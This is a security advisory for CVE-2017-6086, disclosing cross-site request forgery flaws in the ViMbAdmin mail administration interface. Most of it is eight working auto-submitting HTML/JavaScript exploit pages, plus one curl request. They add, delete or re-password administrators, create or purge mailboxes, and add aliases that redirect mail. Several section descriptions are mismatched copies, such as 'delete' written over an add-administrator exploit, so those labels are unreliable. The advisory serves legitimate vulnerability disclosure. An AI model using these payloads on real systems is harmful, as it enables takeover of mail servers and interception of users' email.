Product Description

ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at http://www.vimbadmin.net and the source code of the application is available on github https://github.com/opensolutions.

Details

CVE ID: CVE-2017-6086

Access Vector: remote

Security Risk: high

Vulnerability: CWE-352

CVSS Base Score: 8.8

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Proof of concept

Add administrator user

Exploit

The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" >
<input type="text" name="user" value="target@email" >
<input type="text" name="password" value="newpassword" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/DomainController.php file.

Remove administrator user

Exploit

The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/purge/aid/<administrator id>" method="GET" target="csrf-frame" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the purgeAction() method of the <vimbadmin directory>/application/controllers/DomainController.php file.

Change administrator password

Exploit

The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/password/aid/<administrator id>" method="POST" target="csrf-frame" >
<input type="text" name="password" value="newpassword" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the passwordAction() method of the <vimbadmin directory>/application/controllers/DomainController.php file.

Add mailbox address

Exploit

The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/mailbox/add/did/<domain id>" method="POST" target="csrf-frame" >
<input type="text" name="local_part" value="<fakeemail>" >
<input type="text" name="domain" value="<domain id>" >
<input type="text" name="name" value="<fake name>" >
<input type="text" name="password" value="<password>" >
<input type="text" name="quota" value="0" >
<input type="text" name="alt_email" value="" >
<input type="text" name="cc_welcome_email" value="" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/MailboxController.php file.

Purge mailbox

Exploit

The following html/javascript code allows to remove a mailbox address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/mailbox/purge/mid/<mailbox id>" method="POST" target="csrf-frame" >
<input type="text" name="data" value="purge" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the purgeAction() method of the <vimbadmin directory>/application/controllers/MailboxController.php file.

Archive mailbox

Exploit

The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/archive/add/mid/<mailbox id>" method="GET" target="csrf-frame" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/ArchiveController.php file.

Add alias address

Exploit

The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.

curl 'http://<ip>/alias/add/did/<domain id>'  --data 'local_part=<fake mailbox>&domain=<domain id>&goto%5B%5D=<redirection email address>'
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/alias/add/did/<domain id>" method="POST" target="csrf-frame" >
<input type="text" name="local_part" value="<fake mailbox>" >
<input type="text" name="domain" value="<domain id>" >
<input type="text" name="goto[]" value="<redirection email address>" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/AliasController.php file.

Remove alias address

Exploit

The following html/javascript code allows the removal of a alias address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/alias/delete/alid/<alias id>" method="GET" target="csrf-frame" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

Vulnerable Code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/AliasController.php file.

Affected version

  • tested on version 3.0.15

Timeline (dd/mm/yyyy)

  • 22/01/2017 : Initial discovery.
  • 16/02/2017 : First contact with opensolutions.io
  • 16/02/2017 : Advisory sent.
  • 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities.
  • 13/03/2017 : Sysdream Labs request for an update.
  • 29/03/2017 : Second request for an update.
  • 29/03/2017 : Reply from the owner stating that he has no time to fix the issues.
  • 03/05/2017 : Full disclosure.

Credits

  • Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com)